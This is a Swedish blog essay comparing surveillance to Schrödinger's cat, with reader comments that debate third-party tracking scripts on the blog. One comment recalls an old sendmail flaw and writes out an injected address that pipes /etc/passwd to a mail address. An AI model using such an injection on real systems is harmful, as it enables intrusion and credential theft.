Vi är alla Schrödingers katter

'schrodinger tube experiment' photo (c) 2008, chwalker01 - license: http://creativecommons.org/licenses/by/2.0/Jag har råkat på ett intressant problem. Intressant ur ett teoretiskt perspektiv alltså, mest besvärligt och hindrande i praktiken. Ett slags Schrödingers katt.

Det är nämligen så att när man tillverkar saker på löpande band så märker man upp produkten på olika sätt. Detta till exempel för att det ska vara tydligt för kunden vad vederbörande har köpt och för att undvika förfalskningar. Det har också att göra med spårbarhet om en felaktig produkt trots alla kontroller skulle nå kund. Ironiskt nog upplever jag det som att de vanligaste produktionsfelen är just uppmärkningen. Tryck som blir för svagt eller kladdigt eller otydligt på annat sätt. Samt förstås felprogrammerat. Detta upptäcks dock i kontroller så det är mest en fråga om att det blir ett tillfälligt stopp i produktionen för att åtgärda.

Det intressanta nu består i en sådan uppmärkning som ibland, under vissa förutsättningar, faller bort när man kontrollerar det. Det innebär att om man går tillbaka och kontrollerar packad produkt så är allting ok, men likförbannat kan uppmärkningen försvinna vid stickkontroller. På sätt och vis kan man säga att testmetoden skapar ett problem som inte är ett problem. Förklaringen kan antas vara att märkningen inte har torkat tillräckligt fort (återigen, under vissa förutsättningar) och därför kan falla bort vid stickkontroller. Lösningen, skulle man kunna tro, är att inte göra den stickkontrollen eftersom det uppenbarligen inte är något fel på den produkt som inte kontrollerats. Problemet är dock att det kan man ju inte veta om man inte kontrollerar. Det finns ju andra problem som kan uppstå med sagda uppmärkning, alltså måste den kontrolleras. Katten är således både död och levande så länge man inte öppnar för att kontrollera.

Det fick mig att börja fundera. Hur vanligt förekommande är den här typen av problem? Jag tänker att ju fler kontroller man inför desto större är risken att kontrollen i sig orsakar ett problem. Och när man väl har upptäckt ett problem kan man inte avfärda det, även om man är säker på att det är kontrollen som är orsaken. Säkerligen förekommer det en och annan Schrödingers katt i olika produktioner.

I nästa steg började jag fundera över hur det ser ut i samhället i övrigt. Jag tänker på hur jag känner mig när jag går igenom tullen där jag känner mig uttittad och blir nervös fast jag vet att jag inte har något att dölja, och så tänker jag att bara för att jag känner mig närvös och försöker bete mig ”normalt” så ser jag misstänkt ut och därför kommer tullarna att plocka in mig. Jag utgår från att tulltjänstemän är väl medvetna om det och drillade i vad de ska titta efter, och antagligen känner sig de allra flesta precis som jag när de går genom tullen, varför det ”normala” är att sträcka på sig och se onormalt stel ut, stirra rakt fram och svettas.

Jag tänker på möjligheten att en vanlig, oskyldig medborgare i en stickkontroll, låt säga en nykterhetskontroll i trafiken, blir så stressad att det utlöser ett beteende som i sin tur triggar polisens träning i vad som är hotfullt beteende och slutar med dragna vapen, bryskt gripande och anmälningar om polisbrutalitet kontra våld mot tjänsteman.

Jag tänker på hur man automatiskt sätter båda händerna på ratten när polisen rullar upp i filen bredvid. Ett fullständigt irrationellt beteende eftersom det inte är det minsta olagligt att bara ha en hand på ratten. Men omedvetet ökar man marginalen. Förmodligen ser poliser det som ett ”normalt” beteende för att de allra flesta gör så, och i så fall; triggar man polisens ”den där har något att dölja”-radar om man sitter kvar i slackerposition i bilen? Eller är det istället när man rätar upp sig och sätter två händer på ratten som man triggar visar att man är rädd för polisen och därför är skum? Det är inte lätt att veta. Beter jag mig mer misstänkt än ”normalt” för att jag funderar på sådana här saker? För övrigt måste den laglydiga delen av samhället te sig annorlunda för poliser än för oss andra – i deras värld kör alla 48 km/h på 50-väg.

Det är här någonstans det slår mig att vi alla är Schrödingers katter, och lådan är vårt privatliv. Så länge lådan är stängd och privatlivet skyddat kan vi betraktas som både laglydliga och kriminella, men när lådan öppnas blir vi kriminella. Inte nödvändigtvis kriminella som i att vi faktiskt begår brott (även om jag är övertygad om att alla människor någon gång bryter mot lagen och att således ingen skulle gå fri i det totala övervakningssamhället) men kriminella i våra bevakares ögon i så motto att vi beter oss misstänkt.

Det skulle vara intressant att jämföra hur två likvärdiga personer beter sig under kameraövervakning där den ena vet om att den är filmad och den andra inte. Jag slår nämligen vad om att den som vet om att den står under kameraövervakning kommer att bete sig ”onormalt” medan den omedvetna på sin höjd är lite vardagsäcklig. För de vakande ögonen skulle således den medvetna löpa större risk att uppfattas som misstänkt och därför kräva än mer bevakning, och därefter är det bara en tidsfråga innan vederbörande antingen ertappas med ett sketet vardagsbrott som att gå mot röd gubbe, eller uppfatta sig som trakasserad och drabbas av panik med given utgång. Eller så är det så att bevakaren kommer att utgå från det beteende vi har när någon annan är närvarande, medan att lufsa omkring i kalsongerna och prata med blommorna ter sig som ett synnerligen misstänkt beteende.

Jag tror att till exempel tullare och poliser är väl medvetna om hur människor reagerar inför dem och kompenserar för det. Frågan är hur det är med våra osynliga övervakare? Om merparten inte är medvetna om hur många kontroller de utsätts för, hur påverkar det då den medvetna minoriteten? Kan det i en ironisk twist vara så att den som är mest foliehattig också drar på sig mer övervakning och därmed får sina teorier bekräftade, medan ”rent mjöl i påsen”-Svensson som inte kommer att tro på övervakningssnacket förrän hen får en kamera i huvudet heller aldrig kommer att märka av den? Och därför är båda övertygade om att de har rätt. Herr Schrödinger skulle antagligen ha ett och annat att säga om det också. Eller så skulle han bara ta sig för pannan över hur missbrukat hans tankeexperiment om kvantmekanik har blivit.


Andra bloggar om: , , intressant?

16 reaktioner på ”Vi är alla Schrödingers katter

  1. Det behöver ju inte vara så att den som är mest foliehattig de facto drar på sig mest övervakning. Lite vanlig hederlig confirmation bias brukar ju få var och en av oss att bli övertygade om att just vi har rätt. Hur många människor känner du som själva anser att de har en skev världsbild vs. hur många känner du där DU anser att de har en skev världsbild? ;)

  2. Så sant. Men i det här fallet tänkte jag mig att man på grund av medvetenhet drar på sig ännu mer bevakning och därför löper större risk att råka illa ut, och därmed få sin foliehattighet bekräftad. För övrigt brukar jag hävda att kloka människor tvivlar på sig själv, något idioterna aldrig gör. ;)

  3. Intressant tanke! Personligen så har jag för vana att – när polisparaden på motorvägen uppstår och tjugo bilar ligger och trycker bakom polisbilen – att köra om i cirkus 10kmh över hastighetsgränsen. Vem är så korkad att den gör det om den har något att dölja liksom? Med det i åtanke så borde jag också med flit agera suspekt vid tullen eller på flygplatsen, men det gör jag inte. Hmm.

  4. Ja, exakt alla bryter mot någon lag då och då, ingens mjöl är helt rent beroende på vem som granskar och hur djupt de kan gräva i påsen, oftast är det skitsaker och som många gånger skett helt omedvetet. Ingen går alltså fri i det totala övervakningssamhället. Men, samhället kan inte på långa vägar hantera så många ”brottslingar”, så vad blir resultatet? Jo, ett sk. hållhakesamhälle där någon av alla dessa brott används först när personen på något annat sätt blivit obekväm, alltså gjort något som _inte_ är olagligt men varit besvärligt för någon med makt att dra igång cirkusen.

    Konsekvensen är att ingen anmäler makt och myndighetsmissbruk och omvänt innebär det givetvis ett frikort för olika personer med makt att bete sig lite hur som.. En journalist vågar inte granska eftersom det då kommer att drabba denne privat, för journalistens arbetgivare gäller givetvis detsamma, de vill inte heller hamna i trubbel privat om de stöttar sin anställde, vilket då också skafar företaget osv.. katten på råttan råttan på repet.

    Ytterst är det faktiskt en säkerhetsventil för det fria samhället att kunna komma undan med brott. Inom rimliga gränser givetvis. En sidoeffekt är också att ju bättre övervakningen är desto skickligare blir de riktiga brottslingarna (de oskickliga åker fast).

    Det farliga är rädslan, det är denna som är motorn i utvecklingen och driver det oansvar det innebär att inte våga göra rätt. Idag lever vi i ett samhälle där kollektivtrafiken inte längre törs transportera människor mot kontant betalning, banker som inte längre törs hantera pengar osv.. Hela samhället visar klara symptom på psykisk sjukdom, undvikandebeteenden, säkerhetstänkande, panikångest osv..

    Föresten, varför tycker du att topsy.com, sunset.se, google-analytics.com, knuff.se, ggpht.com, paypal.com osv.. behöver veta att jag besöker din blogg?

  5. DRF: Det var en skön variant. Det intressanta här är alltså att det finns så många olika sätt att reagera och analysera att det hela blir ett enda stort Bluffstopp.

    Steelneck: Precis så är det, och det är en extremt obehaglig utveckling. Du sammanfattar det bra. Beträffande uppräkningen på slutet så används Google Analytics och Susnet för besöksstatistik, Topsy håller reda på hur många gånger en bloggpost har länkats på Twitter och Paypal ifall någon till äventyrs skulle vilja donera en slant. Knuff är för att listas på olika blogglistor. Ggpht vet jag däremot inte vad det är på rak arm, måste jag erkänna. Och är det så att alla de tjänsterna håller reda på dig menar du? Hur som helst antar jag att du har en poäng med att fråga så… Hit me! :)

  6. Jag vet vad de där används för och det är knappast något svar på min fråga. Alla de där får reda på vilka som besöker din blogg, utan att dina besökare gått med på det och de kan kartlägga tämligen detaljerat och träffsäkert. Tycker du verkligen att det är rimligt?

    Du känner ju till det talesättet om att knulla och bli våldtagen, när vi talar om privat information. Jag har blockerat 19 script och olika objekt som servas från andra domäner än scriptorium.se, jag måste alltså vidta åtgärder för att skydda mig från ”ofrivilligt sex” när jag besöker din hemsida. Visst, jag vet hur jag skyddar mig, men är det rimligt och hur många tror du har den kunskapen eller ens orkar tänka på det.

    När du protesterar mot övervakning så uppvisar du en dubbelmoral av rätt stora mått när du aktivt utsätter dina läsare för övervakning i form av snokande företag. Skall du ha kvar allt det där så tycker jag du skall implementera det så att dina besökare får ett val och klicka OK för vart och ett av dem de själva tycker skall kunna registrera deras besök på din sida.

  7. Eller så här, aktnyter till min förra kommentar. Diverse politiker rullar ut ett groteskt övervakningssamhälle och motiverar det i regel med trygghet, skydda medborgare, nationell säkerhet m.m. Vi säger att de går till överdrift, att det oproportionellt och att det går ut över mänskliga rättigheter, skadar demokration osv.. Du inför en viss övervakning av dina besökare, som utförs av tredje part som hanterar data utanför din kontroll, på din hemsida för att du är nyfiken på t ex. besöksstatistik..

  8. Somliga gärningar, exempelvis att ta livet av någon, är brottsliga vare sig de begås på allmän plats i andras åsyn eller i någons privata bostad. Därför har rättsväsendet också särskilda befogenheter att tränga in i den privata sfären för att utreda just sådana brott.

    För vissa andra gärningar gäller däremot att de är tillåtna i det privata rummet, men otillåtna inför öppen ridå. Hit hör gärningar av mindre betydelse för människors liv, hälsa och egendom, såsom att gå omkring naken eller att framställa enstaka exemplar av upphovsrättsskyddade verk. Annorlunda uttryckt har gärningsmannen ett krav på sig att hålla sig inom den privata sfären, enligt principen ”det du inte vet, det lider du inte av”. I dessa fall behöver rättsväsendet inte de där särskilda befogenheterna; om man måste göra husrannsakan för att säkra bevis på att gärningen har begåtts, då har det hela per definition skett privat, och då är ingen brottsutredning påkallad.

    Befogenheten är dock formellt inte kopplad till huruvida lagen skiljer mellan privat och offentligt, utan till straffsatsen. Brott som högst kan ge böter medger ingen husrannsakan. Därför blir det väldigt konstigt när en gärning som är straffbelagd också i det privata bara ger böter, för då kan man i praktiken aldrig utreda sådana brott mot gärningsmannens vilja. Förbjudet enligt lagtexten, men tillåtet enligt rättspraxis (eller man kanske skall säga att rättspraxis blundar för problemet).

    Någon har förstås lanserat den ultimata lösningen på detta dilemma: Höj maxstraffet för de ”privata” brotten till fängelse, så att också dessa kan utredas! Det spelar ingen roll vad gärningen i sak har för straffvärde; respekten för lagen går före respekten för privatlivet. Vi måste till varje pris ta reda på hur Schrödingers katt mår, om det så riskerar att ta livet av katten.

    Därigenom får vi en hållhake på alla som överväger att kopiera datorprogram eller uppföra byggnadsverk i sitt eget sovrum utan respektive upphovsmäns medgivande, liksom på alla som överväger att bistå gärningsmännen med diverse hjälpmedel för detta. Vissa brott mot upphovsrättslagen kan nämligen ge fängelse, vilket i princip aktualiserar såväl husrannsakan som medhjälpsansvar. När polisen står i sovrummet och dokumenterar den olovliga kopian av Stockholms stadshus, så är den ju i praktiken inte särskilt privat längre, så själva brottsutredningen punkterar därmed det eventuella försvaret att gärningen utfördes privat.

    Vad gäller risken att ett fåtal syndabockar drabbas av överhetens vrede, så vill jag föreslå att frivilliga krafter tillsammans dokumenterar alla de privata brott som rättsväsendet inte vill befatta sig med. Behandling av personuppgifter rörande brott är visserligen förbehållna myndigheter, men det gäller inte om behandlingen utgör ett led i en verksamhet av rent privat natur.

    Någon borde instifta ett rättshaveripris.

  9. Jag har tagit upp detta på både Rick och Annas bloggar också, tyvärr reagerade båda ungefär som förväntat. Hos Anna, som uttryckte okunnighet om att hon möjliggör spionerande på hennes besökare, har inte min senaste kommentar ens blivit publicerad och hos Rick där jag också påpekade dubbelmoralen det innebär slutade med att jag rent av blev ledsen när han skrev:

    ”Not sure I can get rid of _every_ opportunity to track visitors”

    och jag svarade:
    ”You even call it “opportunity”, i ought to be mad as hell, but this was just too much coming from you, i became sad. Godbye.”

    Bland dessa brukar det påpekas vilken dubbelmoral det innebär när ”våra” regeringar kritiserar mindre fria länders övervakning och sedan inför samma övervakning själv, bara motiverat annorlunda. Att övervakning inte är okej om _de_ övervakar, men helt i sin ordning om det är dem själv som inför den. Rick för ju för tusan exakt samma resonemang själv!

    Jag tar mig friheten att klippa in kommentaren som postade för tre dagar sen och som Anna ännu inte släppt igenom, bedöm själv:

    Okej, då får väl jag också bli lite mer pedagogisk när du nu uttrycker att du helt enkelt inte vet. Jag finner det dock _väldigt_ anmärkningsvärt att ingen inom PP inte redan påpekat detta för dig och antingen fixat det åt dig eller visat dig.

    För att din blogg inte skall rapportera vilka som besöker din sida till sas. ”välj ditt gift” så behöver du ta bort exakt all kod som på olika sätt ”ringer hem” till dessa, även bilder som hostas på deras servrar (servern loggar givetvis till vilket IP bilden i fråga skickas), kod som har ens den minsta anknytning till:

    (Lista med sajter som får information om besökarna)

    Jo, alla dessa kan logga dina besökares IP plus lite annat smått o gott som identifierar, tex. kombinationen av operativsystem, version av webbläsare, skärmupplösning, språk osv.. saker som tillsammans kan bli mycket träffande särskilt med ett helt nätverk av loggande över hela världen. Jag har blockerat över 40 script (!) på din blogg att köras i min webbläsare. Men som synes kan jag fortfarande läsa och kommentera.

    Det är ju också precis som du säger, alla är inte så insatta i tekniken, det arumentet funkar ju liksom lika bra omvänt. Hur många tror du har kunskapen om att blockera såsom jag gör, eller ens ids försöka sätta sig in i det. De allra flesta surfar aningslöst vidare och viftar på olika sätt bort det obekväma de gånger de får information om det.

    Jag tycker också att du bör ta dig en funderare över följande också, även om dessa är lite annorlunda ur ett PP perspektiv:

    *creeper
    *mediacreeper
    *flattr

    Du vet ju troligen hur det funkar med pawals Creeper, hur du kan se vilka myndigheter som besökt olika sidor. Med framförallt google, yahoo och facebook så är saken givetvis ännu värre, de sätter kakor och kan kartlägga tämligen detaljerat, och genom sina globala positioner så bleknar FRA i jämförelse.

    Det är på precis det här sättet det går till, genom okunniga och ofta godtrogna användare. De flesta med bloggar och hemsidor tänker nog inte ens på det och ett stort mått av rena-mjölets argument kryper nog fram vid påpekande. Ett visst mått av att ändamålen helgar medlen kan också finnas hos de som inser lite mer, innebärandes att de sätter just sina ändamål över andras och skiter i konsekvenser för de andra som de uppenbarligen inte respekterar när saken ställs emot deras egna ändamål.

    Du har gott om folk i din närhet som kan rätta till det hela. Jag har ju inte access till din server och jag har inte tänkt att bli din webbmaster. Du kan givetvis fortsätta att länka till olika saker. Det som måste bort är sådant som sker automatiskt, så att dina besökare har en chans att värja sig och själv välja hurvida de vill att ”kreti o pleti” skall kunna se att de besökt annatroberg.com

    Förstår vi varandra nu?

  10. Okej, Steelneck, för att försöka börja någonstans. Uppenbarligen är jag jämförelsevis okunnig om det du beskriver, och med risk för att visa mig ytterligare okunnig vill jag hävda att det är en jävla skillnad på att jag har ett par script som berättar för mig hur många som besöker min blogg kontra att staten övervakar vilka sidor du besöker. Av flera skäl. Låt oss säga att jag kan se att du har besökt min blogg. Det kan jag inte, men låt oss ändå låtsas att ett IP-nummer är en identifikation. Då vet jag att du har besökt min blogg. Det är allt. När staten kartlägger dig kan den däremot bygga avancerade sociogram och skapa en profil utifrån allt du gör. (Det här vet du redan, jag försöker vara tydlig för eventuella läsare). Även om vi blandar in tredjeparterna i det här, som har större möjligheter till kartläggning, och även om vi antar att Google kan göra en lika avancerad kartläggning som staten (ett rimligt antagande) så skiljer sig det fortfarande i att det är staten som har våldsmonopol. Jag tycker att det är en väsentlig skillnad.

    Slutligen tycker jag att det går att likna hjälpligt vid kameraövervakning på ICA kontra på allmän plats. När du går in på ICA blir du filmad. När du går ut ser inte ICA dig längre. ICA vet att du har varit på ICA. Det är allt. ICA vet inte var du var innan eller var du går efter. Det är en avsevärd skillnad från de kameror som sätts upp på allmän plats som håller koll på dig hela vägen mellan hemmet och ICA.

    Men, du har en poäng i att informationen behöver finnas. Jag ska ta mig en funderare kring hur det ska lösas. Min egen okunnighet blottas i att jag inte visste om att det var så många script som ringde hem. Google Analytics och Susnet ja, men resten?

  11. Du har helt rätt att statens övervakande är värre än andras, just för att staten har den yttersta makten och våldsmonopolet. Det är därför som stat och myndigheter skall vara transparenta och kunna granskas, inte tvärt om. Men sedan spricker det.

    För att din jämförelse med ICA skall funka så måste ICA ha ett nätverk av kameror i trafiken, på Coop och nästan alla affärer i din närhet, på bussen, i taxin och på tåget. Först då skulle din jämförelse med ICA funka.

    Det facebook, google, yahoo osv.. sysslar med är så allomfattande att många staters ljusskygga verksamhet bleknar. Du känner ju till uttrycket om FRA-shoppen, vilka shoppar tror du finns hos de där företagen när det är olika länder och myndigheter som är ute å handlar? Det här är företag som lever på att sälja information.

    I fallet med de här stora företagen, så kan de faktiskt identifiera läskigt träffsäkert genom sitt stora nätverk av folk som aningslöst hjälper till. När ett IP-nummer loggas tillsammans med operativsystem, webbläsar-version, språkpreferenser, vilka plugins som är installerade, skärmupplösning, i kombination med vilka webbplatser som besökts tidigare, så kan de i många fall sätta både namn och adress till IP-nummret.

    Med alla de där knapparna, bilder som tex. hostas på facebooks servrar, så kan snokaren följa ett IP-nummer från site till site. Det räcker allrså med en enda bild som hostas hos dem, de ser i sina loggar till vilket IP bilden skickats och kan därmed följa folks surfande. Lägg sen till scripts och kakor så kanske du inser precis hur allomfattande det blir, tack vare alla drivor med folk som aningslöst hjälper dem. När sedan diverse myndigheter kan gå dit och ”handla”, go figure.. Du kan inte se deras loggar, du får bara del av det som behövs för att locka dig till att hjälpa till. Det håller liksom inte att å ena sidan tycka illa om det, bara för att sedan hjälpa till med att möjliggöra det.

  12. Det här må vara en lätt ämnesavvikelse, men det är ju på modet nu… När Unix var ungt kunde man ibland skicka e-post till något i stil med ”|/bin/cat /etc/passwd | /bin/mail myself@my.dom.ain”@acme.com och därigenom lura mottagande system att skicka tillbaka en kopia av sin användardatabas med lindrigt krypterade lösenord (eller så gjorde man något ännu mer sofistikerat). Det var givetvis inte tillåtet, men när det upptäcktes var det både enklare och effektivare att täppa till säkerhetshålet i sendmail än att sätta polis och åklagare på fallet (det är dataintrång att lura någons dator att lämna ut information som inte är avsedd att spridas).

    Jag granskar all min inkommande e-post med egna ögon, och låter normalt inte någon webbläsare tolka eventuell HTML-kod. Ibland ser jag i denna en inline-referens till en bild på 1×1 pixel med en URL innehållande min e-postadress eller någon annan ID-beteckning som parameter; detta är alltså ett försök av avsändaren att ta reda på om och när jag ”öppnar” brevet (vilket jag alltså i teknisk mening inte gör; alla brev är redan öppna för mig när jag får dem). Tanken är alltså inte att mottagaren skall få upp en tydlig knapp som säger ”Klicka här för att bekräfta att du har tagit emot detta brev”; tanken är att mottagarens dator skall fås att skvallra för avsändaren om detta faktum utan att mottagaren märker det. Igen, någon har försökt lura min dator att lämna ut information som jag inte avsett att lämna ut. Försök till dataintrång.

    ”Jaså, är pappa inte hemma? Vi har en delgiv… ett brev som det är viktigt att han får och läser så snart som möjligt. Skulle du vilja lämna det till honom, och skicka oss ett SMS på det här numret när han har läst det? Här får du en chokladkaka som tack för hjälpen, men säg inget till honom om det är du snäll! Ok?”

    Min dator är inte myndig, och har inte min tillåtelse att ta instruktioner från främlingar, av delvis samma skäl som mina barn inte skulle ha det om jag hade några. Skillnaden är att det är dataintrång att lura en dator, men inte att lura ett barn att skvallra på sina föräldrar.

    Jag blir kanske inte så upprörd varje gång jag får ett dylikt brev, men jag konstaterar torrt att avsändaren därmed gör sig skyldig till ett brott som i flertalet fall torde fullbordas, men som på grund av mitt agerande stannar på försöksstadiet. Anmäla saken? Nope, åklagarna har viktigare saker att utreda. Påtala problemet för avsändaren? Bara om jag träffar denne, och vill rädda vederbörande från en fortsatt brottslig karriär. Det börjar med en knappnål och slutar med en silverskål.

    Och Facebook? Twitter? Allsköns reklam? Jag lyfter inte ett finger för att varna dem, men jag har blivit mer restriktiv med vilka cookies jag tillåter min dator att ta emot från okända webbplatser, och jag blockerar inline-bilder från bland annat GoDaddy (vars certifikat jag valt att inte lita på).

    Inspirerad av Wowbagger The Infinitely Prolonged överväger jag att anklaga (nästan) varenda kotte på hela Internet för dataintrång, alternativt försök till dataintrång. I bokstavsordning, och sökbart enligt minst två olika kriterier. Bryr sig Datainspektionen då?

    Det är nog tur för oss att Schrödinger inte valde advokatyrket.

  13. På en webbplats jag besökte nyligen fann jag följande upplysning:

    Vi är även anslutna till Nedstat, som ger intressant statistik över våra besökare. Tyvärr medför detta numer att en reklamruta poppar upp, men sådana kan en brandvägg el.dyl. ta hand om.

    Ordet ”tyvärr” känns verkligen ärligt menat ovan… Eller som det heter numera: ”Vill man vara fin, så får någon annan lida pin.”

  14. Jag tror det var Jonas ”bredbandsjesus” Birgersson som i slutet av 1990-talet sade ungefär så här vid en föreläsning inför studenter: ”om ni ungdomar förstod hur dåligt verkligheten fungerar så skulle ni se företagsideer överallt”.

    Men vem kunde då tro att den pågående dotcomboomens företagande skulle efterträdas av en privatiserad övervakningsboom på global nivå. Och den fråga man bör ställa sig i dag är när kraschen för den kommer och hur illa det blir sedan…

Kommentarer inaktiverade.